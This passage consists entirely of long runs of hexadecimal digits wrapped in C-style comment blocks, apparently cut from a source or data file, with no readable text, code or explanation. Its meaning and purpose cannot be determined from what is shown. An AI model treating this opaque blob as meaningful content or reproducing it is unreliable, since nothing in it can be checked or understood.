69e14228a2d6192c144fc36a67cfc120ded8a106e8f7316c8c4944716f39d21027881b21f3817d0aee309e09e448e12e304d05e7eefb301f104956291d246e7cefb69ace7520a9836c872bc9b2f519e9428babe8e49d117a89f1f55f60983010db448eadf201c8def206cb15c7630724538bf5f8df79678391e84d20140997ffbfb26a42befb5e61fad75c37955a1cd1591b1748077d4e5cd59bb11af46d68bd1dc6ce011b5f9f681fafe07ad79a060956786f10521968738783409b53b20cf07069e9223b762946c3481943306badd204dc34f5129c3645f1f3c127120eeddbca83001eb3bc8d05a45e33d1717c407a78190f0f5a6dd6e70fcdeda38ca84257995edf50a6c476028908250d5a317fcc11f5f3cec15160702b04f4c32d47bc7e59b793290a7f872387fd7076c071676ebeb70962eda48d894a4a4fc76aba6f1720f0bd197485670302b1dad0e7f1708924a096e43325b181fe4f41b0d2ea1fb9bce3369de1b0dffcd5587152cbbd15c7e4f5fd3ba6d991bb7756276490cfa5aed1134712adf40518d4a65746f53c643a1c72de3f1a6e323b84af673b6c817da2a56e424ab9bc1501325995f2896a19880bdbec198a0441a33e4e6ed0e551592b999112ea57db7fd0687fc7ffdff23813ebc71c4a9c03726fd19312e52718cecde90eb84d843c5c57bbcce0b4baecb990cf442925576b7a962a8d160473ce6dd5a3a2cbbe265d2c6ec280ea40d2b8548611dd24ad3869ef8700e6ae2e8a80ca226bff592826a64ce40ebcec027440825efba5fa52bcc099925b478295e8e127b5836c03ebcc4cac19eedba6111da0f218b6675eae680b7c29c97ca28d8b50deb6443ec6fe9b44f30ef3de39a225efe31ee0b141b9145fe9fdfe51c5090926fb1225ba60902c94496a1312d7a8ac366161d84dd1b67c7b2396642dd4c29bfa5d9640adc57a0437ee11be99e5ca77c8c2cb8ba18c7895b53a084eea7f1fb7bf806bc3bf3a563c2bcb6b996017a263103ce07b1fbd848cb64455a55dc5e3f5c5fbd7f220eddc756504c0dc85a6589db39e15dc9546cb9c9bb54ad8ead2923440a1fcd54bdb517c29ad63b0cdad6e67325cf1c26089ad287cb9d608a6df0a4031bf6a6d9096840d0e52a1c0ec2a8e2f242eeded8e914f1492bc4f6ac03b408bf3c4ddd56c0ba4abe2de7b5b21e7def12259d93e19f823035be999db44848c0ef50cafa9a5c8aba6eeea2c231d0941f6a7ae89d48105a1e4d8ef64e18404ed943f3f10c9e10886d9d7f5605f03a4bb44fe857f553001e829d13845aa88d053b53dbe091b4e92ec84aefdee436e40e3445734be747fdaf8aa70752f22dbfef22809214a769aa7d7e559f64e9751c03646bd7770b12811b9116803da55e0f4f7467c0f845a864dfb27d12bb72b584727efed210*/
/*5961f4d4dc91a6a45dc659fb1322d77683c98ad1b53440ae7e5f0b10579956bd6ac70ea29a827a0516cdf0cdd9c1dec243f25bf7873d5c1dd6c4bc9479e78ab30254289c0db58384dfa95f2b632418faab3b1c776149f687e48137d74d6d681b1d6a3750fd3e0fa471f6a295e0aa75f6026531910bfe9623f3cb84f80965e581c366de70def4891a2492cee48e6c3348af18ba9a0faaf689092e8cea5e850508e79835c13945386d17ce0ad750a16854dcfa1b0235e3df00c47c4fb632a9d5bb991e755e6b27b251268dbe5335048720a06bebcc6a6ebea1df2415b30850604d9d0d0f0ee8755d5a0d351b790c301fc181b28b6b42e29b19fc02e5a7d61df37375bbdcc7c8f630974946ac23b0938ea6e899c0cfcbccad4e9a3eddd95af6e989d5d262150f5b626737c49a8171f0547cd63e0af3685be7a6430646a3754bb2820ebf670cb6db69bacda5e0a34924afbb7dec34a028d1955baf85c03205e803ca00e2a853f266a969dfc30987919781f3bf24c2a01181de9fe875097428f505edd85685ee56bb35604640a829fda6f718c06d2ffecfbb2e6273f7367569d8ef22d233ed57bbab04543941a0ccc86c6e4e94965609dfa85bf44f1567b9944d4b1e307ab3561a1c0509838a3f997ee3baa0964c7f4d5d922adc297965a1e9858ebf98546ee121e076257343ea7be3bcff3bcfaa42265b9248bf5140fcd25045fd4529a7668a9f389973afadcc85b761030cea0ad187b1acf34f5de6ff7a8756a7b6487ae7c11da24923d3215ceada49d59d79138349de52a8b2b2553bf172a704023475aa04f6073b5fbe8521149d7cb022f176495e4271aba46855e2c186290d7569c5d22596146d492d7f3fddc958eed3863a7fcbfd8ebb1fd7793d80926d1dc941a9a5d35b00b26ab9e1071d697983cc55af269620969dc4655c2dc320b7bbd4472b81e5f93152063930dad6a34619dd18389fd1c76221be0c591e104ca5ad8aa7b8d8b04444c8b464ddd00d547ab37dfe9051153f8c70a32cc192d26be8052ecd82c73c5c83ad64948ada59aea85158494a666aa6a72e805d0dd1be8eae83c444334def6c7cbe146e3cdd273597b00610a39036eacde3f525b71eb686ca0f495058dfd0397ad4af0aecb7230721e7322f28c3b635a24ebe13339e7b46f6cceaf6cd8dc8891e6195b68555456d240d195c1dd021a3c0e88673f49550da3dd6cd0bba6667c64451ca0394f5a5d797ca77ae17a7487e4f7365d969de29f51d3a685ff47d217d562102fe23ad7989a83267e3053732aa8ad0ae29d3981fec2827e08f889c22887a114f7fd70a0e72a5e04f4f9613585d7c41bb247b261a43d8191e980cbcdc994656ffc98e60dd2d32e45481c306ebd5f0baee9ec489f60206c606e725681d83bfeacb0c68b66c10cfd2c055f3bd6c0d4f36ce737be0a91612827b397a76d6e565f1e18ea5e9587cb887ff627f3a4b7761ee5a890106146fc7135ff8a299a8d1cc0eb0a5716d883fc0b21adb6fcc7736b949904f55772a9aad98058f6a36ff17a6691964efac7bdaf2da1cb5264d392c698de5eedd534725958634c723bb159733435ec9e713b722f0a6daa400070356a1fa5b1c456e1272625f41416f202b459acb546de5b2a39a595ba76652ce7f896fa2b1d27675e51f18936ac80241be5221973b5db8ef4f9bb25ba7be62f12f6dc37a2117b98569431481e416b7691621e02e99f84bb120715272e0298d5b8dd6327e656e6e31ada834737e6d647535e5cc1bbec01e8042fe6c9c37bad9a47254dac03a547f25af8cc670c7740b93bbb3fa0fc8efa3f630b01d7cc4ff87c3912de67a96c63c79d00ea52305fe88fcc46a5193d8e4406639f47152bc001bd29ee0856ed477f3e5d72c3b0438b609a0def1748e49488ddd3534c2a1849d9470be65fb3e782c59ca622b71741861b2640b98c1ebd991f736b394f36a46f6979591f6b5044694bb9485b3329134b919b01bc3fb3d3d4aeeff941675e8f91a68592b3043b866c46b80d37b4714b245f5064bcb3980f67e0081b61a246801a2e3c0d817266e4f3435bfe3fa0459ceb6265e915478d3c9c043071a89e3833cbbb1d869c5b172f78c9cc093ef4e6f73b21a705921f9ffcabb3842e09e9bc158f437f13373299dbf6bf3cc50d4aace84e5bd82b2219cadf558bf41d61300d187f1b4cf9133f02bcd75bd86dfc90ca36f6804c286f42870998954d96b104332f76fa2a429d16108e5c8fba3c4b1c43cd955f4d38fbdf382e84756cbf8801410bd057864bcdda9a9ce235e35b37932cecd65cb366614cb6ef92797ae20e0bf9c33907de5f6451e0b0c0419d2493e85df3726c3e71f16b2121ad600a04a9b0b24e96fc2a994c707cf6aa79759cb28fe1edd7a1ef8c9f1a59d9d9bf4d485507e22fa97c70f38d9b4260bb525f9d745d3a829b29c020db17b601b608e6620ce50b956640106f9cb663ebb4c8d98f33fa6864cd4f8f32a3e64f319da1e55e55bdcf9a279d1e725d1dd036b4cc70e40d49c70f360e095d2b593dd94ece421947dacc91a3b1ce374d3f9747db9bcfd1f24cabb7c9d3deb5eb39229779970ee1948277f83a02a554252b6603725f6ba42831fae48789fea37d245413bba5c1360f664dfac3ae21e6aadaa18815e66c2da07145961d7040d27b1818d22b7854352d67488c6ce481d1cc32f9a14d61259ff463866c76a32c0edab1d72dd4f635a9c56246ccbaf2b6a686b848538d594de847c03d59493a09c6c36313e7cb6f492ee2c3e0ebd6837f313ab20f8d12e000c56702ace43d395d3cfdb0f5229d820b3392577749b*/
/*9ea4e5f93557bbbd4b5b86afefc2aaf0662e91b6431d09760635c9c4f006a8a5f96d98af2c95eb869c8a9376a9c6f4484f9f02d2571f8a41f5059e8eff4441a8bf59dec49b6de79dbd3899e54c7f5bb682dc769f83b11e808f72c2ca8571a6f75f6db45bc53cdcf79edd48abd09490503aabc8b2aa8a87036c981fbb5772d52d8306c97ffa73dd0e3dd1ec97070b2935b2659fa4ada035a281833798617524bc1203c1e04d96c3496946db1fed0323b49b67a24004d1cf3eb5e6c3540925eff5bf6cfac80ba0f124e86d9c38ff2a0b87e6f1947ab8fae1e5d51f76e51432b2ffbbba980b4b12af31feb86097df005c00771c7f616fad1190313468f24b1361c622bede4a91b36a00e6a44952dd870ed008e1fe2bc485abfd8698400417cb5851e8bb66da39e1453ecc4a68e7ee9486b841656b2cacc368a874150203a74bbfc2c8e4a021551e974d1c997367ce4e4f22e24eaf65fd5f7f70d2bc2d37b884117ba9f4004935f5ce6d7ecbe2cd013dc300291f4fa98e4f67ab9da837d9f1e245fd83cf43d96c3d0f6bae45faa9800e6e7d55954bb9fe67887c7c78696fe5aabf3ff55e39202b06487af15b18b14686d641448a41e1d7f9ae46b9bf951ca19ac46a9eaf7ef963f0602426559ba220a001a73e120dd4591fd422e37b08dc79d3ca3e6668989e47696e58fe6db42fa28a839c3ddff75f41353ecb112b68bd13f48f2d2489abd246b04ad40a3d1b19e4eac6b8dadce7ae049bfaf604a33f294b8543f298e5ef137ec441f140322ef3add927a1e564d7c33a24369ebfb7808b6a83b3673e484aac621a0ba69cc798ad06c562dce54e903713a40d744b5db29d38ef1129cab9b441f924ed17fbd58dfbc959b7ff054aa7ee7102293514beec9fdcf082127add533e61870df98ce8bfe7e0b78ec360246191e406995f2beb84b1663f71236d7e8ee792887509bcae1d79ddf1ed91e6a4a2e99a83c35277534e694246b77f702f94b13814554fa85ad21ddda876396f1f1fd0a2278e06e03b1cbfc53cd0f79cafbba168eaf888313a534bda2a453d1f9f1f2d78917cb09e83052b1bc323d2d3b73e37a0f3d172dffb24b4436b0d55dbce9a76cf632b95d79d65b3e1f987a16b797b8938ac532aa5b570d095e7bc972c053d06f3c9f17cd5b238542cc76bb1cdf6e03ece7e4da1924cbc428d044b2c543efe846ab41782a0aa75585392bd1b57bd8c79bebb4b81625acbb22b81c5473baff142eb94522d5605a2b19572a19b2cd8bacf15bdb9b01f44dfd58201018286deb3eb92bd8c2ec15b499363c6c307d0f65d29a76d02d94b12866e981e16b998fbee03e8fa6e7e28a7a2e5512b5f4d9150132c8e6c2a34ab36f4261791a4f2cd159dbe9ab9663f254597ecd10b9f2501c2e7d5560575d1a783bc932567dd1c9f3282ea8d6d9f1a021d4259da87cfe4a238f6278a3a71faa1c18612b979112110a6be5d6f6d96860761e7cf1105e8ccbc87f40354f5e840ed28449a86ee9c8a966ce4592beeedd1465db581d11e48a432a4a6504f197b081e79ef1d4334877e9d7e8b46edc0effd8fe6dc19baeb0dd04cac4ab9482749f5de304d2b4c3005b60c9e9a970931ec5d694d293605e6cafa67d8ec97fe49633364583d5c42f98c7ce025b206dc7786eb34578df28a6e1615e8c05a39a3c2899953ebfbac70f344a74e6a84645db97879fe059faefa4d43571524236912da0ee01f6960429fe7aec3a53a2e9481c1055d7f454616f1d6707e400e4870a66a4bf3376eb5683de44acae8568132b98a36df0c472c8a1b2cb39cc2a1a0176c7614e2340b9dd99aee7e82bf1a26c1324ef69fb6256a19a941bf72e0cbd944a0217d03d1230ca1f67fd587643acb06a0b7c2a506fbdf4ed0cb92ead92ee53796d8f77917375f632fd61bdf0701f5178af4e7cfeb3f7fba9ff7e41381fb185a8a1718276461d7ebbb6e856435ab32239531e78449ef172e30134346c121152ebab395803002494e95009b4afabb8a502d32cf8d5142ef394455833b580e370c7fb0308ff987bf724f5836aaf6bea59e0c8f1b34a9a086097f38966c1d6ecf9ec7a7dcc219582f031867f45cd75cad029114806935963f33bd40ce1f6fff801ac55404249b15bdbebb21069b56320373890ea188d9d4238a1c85862adce217b7de9e0ee8901d822a9a9ed4993faea7bb374b42f8a094a9211ceeabebe32348a886b783c77722ea772f6e22b4705ef8554adee3784d9fe35ab7ac90adc4e4ec8ce47b0b13028db193fdfa24e8a05030b60fd1542854e59c1f6506dc5cf92c0f33990e822a7b9277571ac5190d5746abd73cad8aec6f9dfae0fe510b7a51ffa523287814465d3610431ed468878d8f71c454aa5cf658c1c8008cbceb96ed05c37c48e79bfe8ce3519946ef95f102dfcc2addb82501b499262444e32299a6181386e72eb832f1170120b2d8ea7e61e72d1c3e53d880dfefab76bd2bfd6b72e46428571a6ffe93af283b354f6ba46ce33085a62503ea376a4837b7217946eca06481b6e70a466c633ab36bad9d181b0ec6399c4ad5ace30415f702042693cdc3f6c07c779db8c38d3a40e41e3c84a02c11c11d9a1d56a8f8ce04ae055a817ca910ef713a4f91b0e346ef60af1d4c2d23e8cd8e338ee7f35cedd37988986c5b339a69078069c7e10fca9f01620ba6bb35dc98fe569c9b5e9c8241db3510e53bd81838e59bbd51c6c3b6c2d4032d8ffbe9b52f3b518b116359813ec1916efedc8e773fb7463bac9d5267ce3b39bf6c0c4d1344d0a1a20e940c4ea6adccd28d49617ba2adaee63e1657669d36ab80b7*/
/*24cf19f55e346b3dfbd59f65155b7fb13b343f8403193c25a8d667fd13f90affe4a408fc669fb9725a4c4a995040fb71c90d33500ac0374ad8c1534cdb8a28a33dd808e45852a7dc8d9d550085cbdd55c3df33adea7dd8356b57910f087d1eb32dd5b3b55e273d0e6be01c6174e5ecf4c5df873189373422f01f19c6857204f9447706a95f254ba94dc576410e84199e3fde54ced77808171c64f27a455236881d0185e5d35aeb5b12affc434a92d74ea23b5b42b71fae80a0d2ecf13dbee2e5b753a2956df66fef9c7c64840da5bcae2e0983240c0dbce3856055a39e3129b5b755b8504c7a01a1d1b19e7c6f91c7b08743e42ecf2dee31955182e46e6a20487e7483c69c4ea00b29ad54ce7d90c7d468311a5ab52bc8df9924fc7893dd4ec3c5f06cfe7c058c9034d2ce5644c8474a78533c92389c9e817528c484b29aa175520c84e090fcbba29616b540804b9058494bbb543ff052f2f694723f0f08c0fdb9b9dc80e7bb552202c391f2984e080da3b5daf5efa5a30d166b7a733478ad7792b7f8957ece2aa4b887854c433b335c64889f5ffbc22cf40d7d488400407f8017e16f032bd33ed74dd63d9a3825f4c2ef4b83ef837926bcd9725519396931c9ad56a4a628ae7483a9f98eec9e3470d2342868c6c9c78c50054f706b16a66e2753f817d26899cced9124bde70b060e8d9169b2259b7d63035e5a40f0a2d492dd5ae545423f7cc2d3fc20c75033e177269c67931ff58bae149c1fced9807c108aef0220dd3a801b7e870774df49e57d8624cbd97c1d0f21106913e4f8236750f461aaf63c6bf202159020cec2eafeaa8895d4ce5d5bfe62af91a21ef76ffd7b6797bb0df2a437c4de7989f32982e28015da67e5f6713833dccf1146fe39969473608b2be5847b942bc58ff029ca963cbc96616f57d2c95abd8654013aa9cda47c5c009f93dde4952af5cd2ba689d50d26cbb82be28e4fccf6b7e53acc354e83af121f8a106122397e2e554c6e41bbf1d0a9ebf4eeab6165a615de7dcc80d478a883d54461ae20520c9023791b1def688535c1abeff92dcffa1b914a80a18080b37f49dbe721b02b9405a9259118f4338a649cac84ee9327516934763e675a7780336889c05fec59f382d65a8b9bdedeba0db4ba3cbba6a92e1fecc4f9fdc74bd83a52dcbb1a4cd979d52f7cdc57fbe7de3ba8c3360d827bf829d9f2c3dd6780b1ca3a682ee98aaa75011f4f01ae8d4d4e6594a6e1ececc6fb54130dcaa32adab3395fd7a1153405d9cd14082d9b3571be87aa4a32d8c9976d87ddae3f492089a216cd3c0974d87592957120ed9fa706351e8e81e9c67dba75ddb448093e10bdc8d20d08852b9a28d673e34ba6d5f20a880a4d247e9f83c0cb8dae404247efc89f5cf914ee9195042710b028fb1c703f211a98f35ad00c9826c4539cc92f4752882e2bbed80caec147bd38f4d3896cbd7cb8bd18dd2be89aba31b61465b894670ca94810dc29b67abf5e2e2c71100543e68f0aa6d6314f4573a3556a804178c72059a33b3da275397a54eb7e902b5719c5c17083d7d349bd39ff801682939b59ead4644a971ed5bde5b3468eb31c96cb35a22074c6a308be86cfbef239ff1e4dfaad07f1292881bbec926bf553f54b8474a2127fb726ff373f9b1448386039aa7bf142fd8bbc9e221139bef323b5a9023ce0086e9f62374546c59994fe868f9f5a784d3c4a1cb07bee6dcda61e290255b0c34502aa4e469c0e15641715358d65d56f4044eecb4c6666d0077d81398c70d9e634ac4b37f279c4c5a2347d626869bbf922e835b44afea0f3de5f31c1afc8433ceb00df20109b25f11f3250ceb1379b191d065fbad9193545203b31046d6f3625b1e7386df85e8de8f42ccf04597069c537c1630a6bf31161bbb66fd8962a90d427e8f423ea5dd5333aa28fae8ed8a2a2dd22a5a7d4ce813492ef08b30cc30883b4813f34ac3003be60031c06d7d658155401898928bd7efff1ec1fd104984c57ae0d065bf9f454449ae6f368bc45c6002f9c3c3c982edbd63de100b7b5087ca315aeea5421295a0b61c703f97c10862b31a4c7ade498f58838d84a63f478da5a1dfb3bff1517c249394a58350e674d8a1e998ec52a7986592889c87f9e943584ef3fba9d1188460c0df6d6a622c93b56ff9b9c7e5dd0c149f6e55f8fbc8239e0b0df2f3bd86f9c1bbead2d210eaf6fbbf9c25b1b14a182521138891e69d6e5ed6d387172f8e4a5b81dfac8b235b6a6e6137e97925814d1bd2ece2dd9f7be14400b6804fa4b6a507bb8a677159a01e6815234f00c608c0c802bfb07b891f394dd8db9639ae1f1bc00eae9b5492250220ff05ea796bc5fc64509e7b8706f8998918ba7ce01eea0ec34bf29c1bc45486a1a4e683a64ca017fde1763e3568e6dd2e47eadc3fa975e3a55fde8c390d779c1c67a35e7aeda3e52665f369fd5865c4bc44eac49c220a92c99575dce8c4d15e57ceca2b23813f1dfdcb4aa2c72fe1da3c8eb37c4d3c3aa39ed506b6fb71e879d8c9fa98c7354620e1ca4c96a62b19cc0efaafbdb43039dbe0a2790c4b1bd478b5c97bb7cdd2a69a11dea6379572f10951b10de8502ede6562b6a3626859adfbca4af6da48a322101e346b5e06a7a36af0a619104feb0b461ad5d59dc2b55ee2b5f811c0c0b3191025a0b1debbcb114b821ad27cfef15ddec9a879024f9500fe35356ee72df98ada90a8edae6b23ae36c10b73a00e2e1ce2045a2d16d327b21519b65018c7e6abe070bdbba4d6f713057ec31ad9bd028b6639602055259815ccb179fd4643dee9cee4c957c1d446aeaab*/
/*652d801ece5e46936bf66d68c7e1573b1ad8ca9043a0ed3d5843d3e322f4fa96f62f6812e08ca19d443915b296ce283e2bb434402bd8a2d0d82ab166806f11df6cd9b270a72e6563d2c5ecc11f8a65f4f658602ac3c14681bad8b8f5c2271425784991f1cd5025ff5f3519d85a65d051c43147cfd63d1cbccc010f7ca7cff712d1b74ce3b693bfa64e688d4442f04a69c927106c1eef4b9895465a0887afc307a09fa6a8b13f6b9a3c1bc048e40b8c32ef3aaea6b23a8722328ea19a8538b1482d273232642ec7ab93efca3d935a51b2b9e1390a5cdaec6b487f6d2270ac07f91c40f049cb9d19d2ef18294abf4311f8dcc68dfd5c5d436399425707ee180306620677fd8a5bcbdb88f9939ed635c8df699f5bf3708a420c22af15452e2f82814335280ed78d65c433791724759007256f05c7f71df956f76eca11f206c91cafd68bec25a6f1584977a916c1230dd99c25573b2a0f970bbb22ba3b790f8a3cc5315fb4166252ea43ea7eafe1d8674f5652ead74999fd3b32892e1c42566f1d16a44c237ab81538f08a0eea6146129f80b8de5a8749786fbe9c519f700c6ad28a1a0a00d0b77883bf3ff81c70c83d79415196c5d9f1b33349af42e3376a1fd372efef8cef8f45fefe0a186b26e4ff33fe9ee13a80eeb525a6c390c940981a8e49d7248540fc470d22ef1ed1f323e208322afcb1034bfae7de001c295a92b4ff6185de9be96116b5adf83c1c830a7966f7c28add4daae7ce08406e15751b70502c80e939361edc745e5be304aa78cacabe04cb33eb13595197e306ea47d94062d227b862cd9adf396ca431efbc408abeca59f0438c6033d518d28cbce325ddca054d6af8da139196c8f46f2dbc63198fe4f569b0375f3c2487beb3fd714e45e58cbb850670cfda6605faf3e73700d674849bb325a64ac2bcfc907b7b3573183acf9a87ad30476f9d833bca086048a2daaf2c73a941a211163f82a9d9a8871574b6ea85787cd65cf4c9e77ea90a08750188b371eabebdb2b32342c885f9d09c51b375287287491b3700bf91e93f7fd5762a100f77799bd0e51cf9f4dc2ae7ecfa04d4e011d35843861d01c1c406cb25a1368d268a3ae33ada1a00d18a0f5c1375883fcf090d96e0b80f0a6d9256abd821b1025c556e270cd50c802363cc046e78973c7703fe58b47e8bc6ad37816853cfddda7c29e70786761715ea9b6875b1ad33c94c0511135fdc61d595ecb197179d11dcd1f97bb7d6a51dc168d5a1959b5936cb0530fd1c7e62e25667572a3da2b4a5cd070b097273f717b0b33bb7651a6f1b645cb599a6f092a50c32a889baef23067361e98499edca50f2fb8e649b233834ba0d5cfc38de127e33a354eb1e98d82b2106e7fecf05706ac69a15dc3422689849d27de0ba9b84a9425bf392bcdfa5970ae87657bac41ee6eb40af177efa3ac1cf7340f99897e1a5a348427949af83b7bf1188f4694cce3b74cfab892f4051a82ed4e9eaaf5ea02cf38cd1924f7107d9b7543b783380c968e64fc62c967a977c4395ba849d8ab13a1db78ae5abb7ac50b25747cf927fac8622a7703f899196e763b7211f77354549978df0fe0ffc92586735fd239afa434219b4ddaf9d894df69c3b53c5e536e9f718d56fc4c35b290d061d21dce782bfe056f8b458ac4902f393d2daeaa39e54da8cde15f1fd7674b492b7bb451a83866fe24aaf71d9c5d1a4c9fa41e5a66a0b1e3cec350129b6bad1ad7995e42c17ddd09112543706232b8d7deb88e21a8b6d46f21ea880a823caffb5d7b9376c2de2c536a14b58cc6548704b7e8da022696bdd1d64acae62f0a8655335814875c55fc8b948de8a27872267522c79c2d32f594b1913fb7c62a2fa267b420e95872f3571e5d10c414b5ff26129009ee042bc8de80265b115e0c89ced7403b3d383d09e3569032a9736a1b155d2897ebb953417567eb5b1addaa20b829be66113a966254989b0f7e066d69f0c7395d37aae90dfcf551d13445f096d7cba289612443707a9f46aac6b089d529fc15b6b7a411bd2319a6d22a9ad0132c3c33ef30519e274ae8c843615e4c38536f6ef8ff1e1c5d54595c4a67b7fe182eec54934d5fe776b092f738fbc2b4af1c0fc8970a868088677b182f3b8a46caaf3d78357245fa8f9cf0bccbcf1a53f3873bfd038147336e76f3458f176ee01d1f075c4d165fa4639060fb9024c2af431cf11cf0638f74923040491bf2d251170235baa1accc4c210c3af3318de115690c594e788ca09b68523d7007bb5659c95e1b1f5e105452387e16a23bdb7dc9001fa79765fe4b18abed6b0ade08b8a045860cf250e5cd4ec2737257451bfdd7bda3c723701acbaef2def166dd97434d0d5efac66126bd1925cadf3a0b6abd7d7f5dbdcf932458ad83c916a01372c66f88729aa3d7b99feef4f361963f690765998b26c41b99b539b2d515f5adbb0f1419bb897a7b406bbdd9ac94e01e59df0f83bbb6848fb60f9bc78f29cd1572c283e6e6a400b41f595b36a30680907799f3dbe137a29f1f9f13c54785a22021cfaa86f5d3e16772f0c2b1b55494b980e17e20440c468b88db7c6e8f68755379471acf7962ae49b37686428bed10c6014013b2ea13cf9cd872b4fcd4730a939b55aed28e10eedd9faa077560c410add9edd8b613bc82fd1fb4433f7a4b088f2cef6434bd96f6983f795a2d5623e6deeec6d7a7c94c72a1c4d2b2cedc370eb92683fd6cc6471712dac37cf7646b5f78fa45e7fab30a8536e815917056425b87865d3c9aedbc7ce85515ece59761b29030e05e8ec62e04e4a1c515b574888d7c231d9ef2e7b*/
/*bbda1541d7a4e5981e1f43c67f19f5f2d5ed2ee432f6b266d247f54e088517c642659f57a0019de969b48023aaaf30dd52d53a91fa8dcfd8e761859fd2884e50924664590683361ab807ce60b7c64a15f6cdfb444d0f308183d784e31160c0e5961aa23bae7f94032fbf0eee75566ba96f3fa9331d57de59cf91dab6c4cff41d1dadafe9f11097aaa18d1494a9d6f6692d1b2fda4163373cadcf743d9b628f4d27e87bfffd943ddb5d035d3469bcda2d2513deaa2c3cd81712922d360a1eb7db39f9cb27711d0b1200909ca781ffc0323cd93befc4344169fec74fce12ef55ea2504b8d076f089b870b61023f738f0f1b40232523389b350c3a33d77c58faba8dd2b272faa6fa70dc28405a0e531cd059c903d4d74792901ce93e0a4da75c7abcc3d67305e364bbe809beb98c2fb75cd2f997ec98d93c46a2cec251533dc5be1071484860f22aa25b69ee27c45656ac9113662bd1451dad1ae2dbf0d5c98f3627d8fe6dbc4113793ccc755a2d63f528b434c97d70cd17f2cf02b2c2ecc0de0ae1387bea4c5ac90f3a506c2980b18667afec73c229464e58d45ae552de805a43de6769146be13b5d628af73b9444482e930d07301fdc5041d6afe436ec016b9dd8d64dc397f192e2221ae326082812266e573ae0067ea384005fb649301657767af615747df680d4bb7986aa57bb276e260c577e6582711727fc23af890e4d3f190888cf50dcc5378f8fedff5b0258c862588ba5f87f040a2d7cec7bdd40db87b3e304557b581f7b6b33c761943e96885f19e3de11e4c4e240b10cff23b5cd6c2cf4423e8399ea492f7b0f9584bc0b3b0d466ca330538414a202fe53bb8a49e02a96fa8707775cd83fe317823c2dce922e95b1b2aa9defe4ccd30c14451e5814961febb425c464db35cf6f0ac7c978445e572e1d80b95de235a03f6caaab892d391e215321bc4262ea325e2660b1b8e515355166028b80f6cc3d28d6e344d19365003de0b0bd4897f2c866a72e598f96ba40ec8893554fbcd835de621b2081a569106e737699024dac1ff13aeb3f2079ca4f15af16952c5ef2400675a6547d48ccc482234647a4fe9e21ebf5fa010f9f4aeb7a98612e143fed84c9fb57873d39c9d0f492ec34e1e8076780266e6980eb2b6a7741a32c02afe7afe966988c5a135c88ff6a79a13db6db1a695682130627bc1fbaaaf98d537af1c83707c6738ff93bb33d69b0e28a1e9192ec0ace81283d03bf702e628095af51b3e7ec774939f3612712c359ae73f82ebb37f17185e73ac8262f496bff004cf3bb8cbdfef41bfc6cf6b9c7c912257c5e4fd74897085bccecf7ce82ac794a1acd57c95eafcd39440df11fc8c98023bd45d0faf788979aab9af94c58eeb10d8b3cedb9ef90acae1016dad76616665a301b7d0230ee387ce76b5b008a851bd1a0803426406cd7eab1790930c2fa628605e9d408b9ea4b80804a2542aa0ff5f12a07341cb82cefaaf8c2ce6e1509939df0e5818972fcf43139f8034cb963d3a7d81f8b9c6139c67371a65bafee859022e3c1dfb5a1cc28bf8ee1fec33d1c95978b66aa0c0f3da0bf7e0606a1de5b642cfc06e946f4ec0ef391369dafa7d09f0d3ecb7f08323b6fbb88f658002f6bfac93f40481c14845489662d1b10015a6805026e29ef9e42ff20a79211c675bd6ed268a8fad44fcdd773701b25c9eb43472353fd12a8bc57928f53c3b2503776f28a602523d86f9b392edf93b14e2de82fe160c158d505fb717da6310ca9e8b8d96c7bc34eb5fdaa7ad17702a28b0465cd6bcd393f443c2666188b79f621872559fe451bee2144397157ea48d625c6b2eedb5d9fae1948eaae8f75f517ecb005566ba855ba36816aa09a355ef8d4f071e3fa45b04e02c3a0d8a13c41dd605c7b6815ab84eb8dfe6252670bf870d1f63b7e3ef8949a46529ec09a6abd2c937031215637f41e1166176f0b455113151863be6ef7fcc4f732b580f42c489bc07d50d260419a6ef3a9ab7f0cc2b18e0a6bdd7edd026d0676efb1610854830759a1ce0f6e46d4adc97af498b8b30756bf37329b905633f720c3a84d5dd323a7d42c457cf704d270a5653a6a7961bb721b0d7821e91d6b65890de19b2ffc3c216658b1300093ba0af9b9ef19c509484baedf40fea34e2250594524cc2f7efbf22333d0d086f0aa5e24d86006ad24b45df02370f846d17e8d40946d1359468ef49650b577903601af378837929ed8a375fa6ea1a283c192a31b46d3908f5eb135ce30595a3f2d2262649bd5ffb3c582d075d5f401d3c0b2bae47e335df17d4cdf4640480367cfc4e5f8a368dfb3b4c8c2a312ca2d123b9635742219c6151241b858a948c4a8fcd88ee252fb968060927a826d295ef5583fd5cdfc9a2cf3610eb23968fa5a5bd3316e5160968f30cd9d382aaad18e62be0b72e5ddb1a1b0b5aad8b7d89d4c73a2ed006208b2f5b4bee369efae54ff29bc8efb9c46503d6c378af81fd585c91f96eb9f549e6637bc28b8d2169ceae963467fc37bea66164bae90d432785e32343d818306f74ff35ab97ebf8adf8891419485fc49d290756f38b31299ebaff7227c9d18468b348c36631eec5e28c80760537b9efcf99aae84dfe47bca65dfa6c491a1f9298d84300fe5f4aed30d4a1c148873f5878e75034b4828d38fa4036f63dc417743b8532f820a02a1ffd3f18cbcc92b642174be86fd1f01f1cdd6768bfba3df85cd2808f9e62d5e8dbb2b92bbf7ef019f4778e15dc7767c617f8d18f5393f75dc5a1264c24975fd9e74b996562f6e6aa3e2e4999ef9b800418a34ee237107b01be57db8bf26ea4*/
/*e992258cf57ed0806807058195e3f4b649981cdd95cda80714a89297f1e6f7191bcfabbf316a618bcc5115f170d1e4671471ea79bcc335404a06cfbef1ffaa8a8bb4a58a6ea8e9be571c7c44553d5e9e50719b8f81b8e9a06833d0133e78446ab4589c95dcea68e52449da215a1a846de0c1128d0382823e32b938b6486c5a2af2e1d55bdd897dfd510a4dbbb021a6fed19bf7dbf3cc895950cc7c34ea06ea4fdfc956c297e97b0117e6601c268d110241ea251637ba49756112b111a7e44e3be6413e1a4e143cb577d5574191bec579a87e7258dd6ec32da821b428611afe0805152a8110ef7550b2ad43e241f67573db348927a44a7c22d9a3f44f632c7855dfa7ffc2857c58be5f29a6f0fd90668b485d99050552a2adc06056d03e5866cf40d23c65c78a871547d252ad3fe910ab0f4364e67f37e5964d8dcdcde3d893b045578f78a91f3b059fe23516511d8d0dcc4e9ba1fcfcc856900ec3f25c894292443938ed4d0975095548366981337c59d2cfd255272ecfbcd4b0c4f4d762c4074b8d30a567c972308454e23b9469417d9c3aa840973a30ca2d68bf919fe7fe5a0f275322861b47abbf3258f7276527964745632735bf97191679288143c4a050690b251c7acbb53a3380d13719420f329408e3fecc38e23b70e8d3dda56ec864399177b5f27a69c9275b090f9b28948d010748c61e2568cf66f74eb4cb08ec17ea378270f34ac09a14153efb2fb2c259fc9c1336708fa956c1886dfff9ac